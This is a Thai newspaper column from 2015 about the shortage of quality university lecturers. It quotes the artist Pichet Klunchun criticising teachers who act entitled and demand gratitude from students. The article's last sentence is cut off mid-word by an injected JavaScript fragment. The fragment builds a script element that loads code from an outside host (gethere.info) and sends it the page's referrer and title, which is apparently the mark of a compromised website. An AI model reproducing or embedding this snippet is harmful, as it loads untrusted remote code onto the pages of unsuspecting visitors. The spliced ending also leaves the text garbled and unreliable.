มติชนรายวัน ฉบับประจำวันอังคารที่ 22 กันยายน 2558

 

มหา’ลัยขาดอาจารย์คุณภาพ

          “ต้องยอมรับว่าขณะนี้สถาบันอุดมศึกษามีปัญหาเรื่องคุณภาพของบุคลากร คนเก่งไม่สนใจเป็นอาจารย์ในมหาวิทยาลัย หรือเลือกอยู่ในบางมหาวิทยาลัย”

          “ดังนั้นทุกมหาวิทยาลัยก็จะต้องช่วยพัฒนาบุคลากรของตนเองให้มีศักยภาพ”

          รศ. ดร. พินิติ รตะนานุกูล เลขาธิการคณะกรรมการการอุดมศึกษา (กกอ.) เปิดเผยว่า เมื่อเร็วๆนี้ ที่ประชุมคณะกรรมการข้าราชการพลเรือนในสถาบันอุดมศึกษา ((ก.พ.อ.) ได้ให้ความเห็นชอบโครงการทุนพัฒนาศักยภาพในการทำงานวิจัยของอาจารย์ในสถาบันอุดมศึกษา

          (เดลินิวส์ ฉบับวันจันทร์ที่ 14 กันยายน 2558 หน้า 26)

 

อาจารย์ผู้ทวงบุญคุณ

cover sansaengarun

          “รู้สึกว่าเป็นอาจารย์ในประเทศนี้ได้สิทธิพิเศษเต็มเลย ขับรถฝ่าไฟแดง ตำรวจจะจับ ยื่นบัตรข้าราชการให้ ‘อ้าว! อาจารย์ครับ คราวหลังระวังหน่อยนะครับ’ เฮ้ย! อาจารย์มันมีสิทธิพิเศษนี่หว่า”

          พิเชษฐ กลั่นชื่น (ศิลปินร่วมสมัยของไทยในระดับนานาชาติ) บอกเล่าเกี่ยวกับความเป็นอภิสิทธิ์ชนของอาจารย์ที่ขาดคุณภาพในสังคมไทย (นิตยสารสานแสงอรุณ ฉบับที่ 109 ปีที่ 19 พ.ศ. 2558)

          แล้วบอกอีกว่าอาจารย์บางพวกหลงคิดว่าตนเป็นนาย เช่น

          “วิชานาฏศิลป์ เด็กนั่งกับพื้นแทบเท้าเลย ซื้อข้าวให้กิน เราบ้าอำนาจเลย บ้าความเป็นเจ้าใหญ่นายโต บ้าว่าเป็นเจ้าชีวิต บ้าว่าเราให้วิชาความรู้ว่ามาจากเทพไปสู่เขา เราเสียสติแบบไม่รู้ตัวเลย”

          คนไทยรู้สึกว่าการได้รับการศึกษาเป็นเรื่องใหญ่ ต้องเคารพครูบาอาจารย์ ความเชื่อนี้ถูกปลูกฝังอยู่ในหัว พิเชษฐบอกว่า

          “มันทำให้ครูบาอาจารย์กลายเป็นเทวดาไง และครูบาอาจารย์ก็ใช้สิทธิ์นี้กับเด็ก ฉันเป็นผู้ให้ ดูแลโอบอ้อมอารี”

          แต่ “ความจริงคือ ไม่ คุณเป็นอาจารย์ เงินเดือนก็ได้ ศักดิ์ศรีในสังคมคุณก็ได้ คุณไปที่ไหน คนก็ให้ คนก็ไหว้ คุณได้มากกว่าที่เด็กได้อีกครับ”

          “และคุณก็ยังทำสิ่งนี้ต่อไปเรื่อยๆ ด้วยการบอกว่า ‘ฉันให้ ฉันเต็มที่’ ไม่จริงเลย หรือจะจริงก็ตาม คุณไม่มีสิทธิ์ไปถือบุญคุณ เพราะคุณ-รับ-เงิน-เดือน

          พิเชษฐย้ำอีกว่าอย่าไปถือเอาบุญคุณกับคนอื่นจนมากล้นพ้นประมาณ

          “แม่ค้าขายข้าวแกงไม่เคยเอาบุญคุณกับเรา ‘ที่แกโตมาได้ทุกวันนี้ เพราะข้าวฉันล้วนๆ ตั้งแต่สามขวบ แม่แกซื้อข้าวร้านฉันทุกวัน’ ถามว่าแม่ค้าเคยเอาบุญคุณนี้กับเราไหม เราก็จ่ายเงินแม่ค้า”

          เมื่อมีคำถามว่าอยากเป็นคนสืบทอดศิลปวัฒนธรรมไว้ให้คนรุ่นหลังบ้างไหม?

          พิเชษฐส่ายหน้า แล้วตอบว่า “เพ้อเจ้อ มันเป็นการพูดเอาดีเข้าตัว เราก็แค่ประกอบอาชีพเท่านั้นแหละครับ แต่เรามีความรับผิดชอบในอาชีพ แค่นั้นพอแล้ว”

          แต่อาจารย์ด้อยคุณภาพในมหาวิทยาลัย มักทวงบุญคุณว่าเป็นผู้สืบทอดศิลปวัฒนธรรม ทั้งๆไม่มีผลงานวิชาการs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);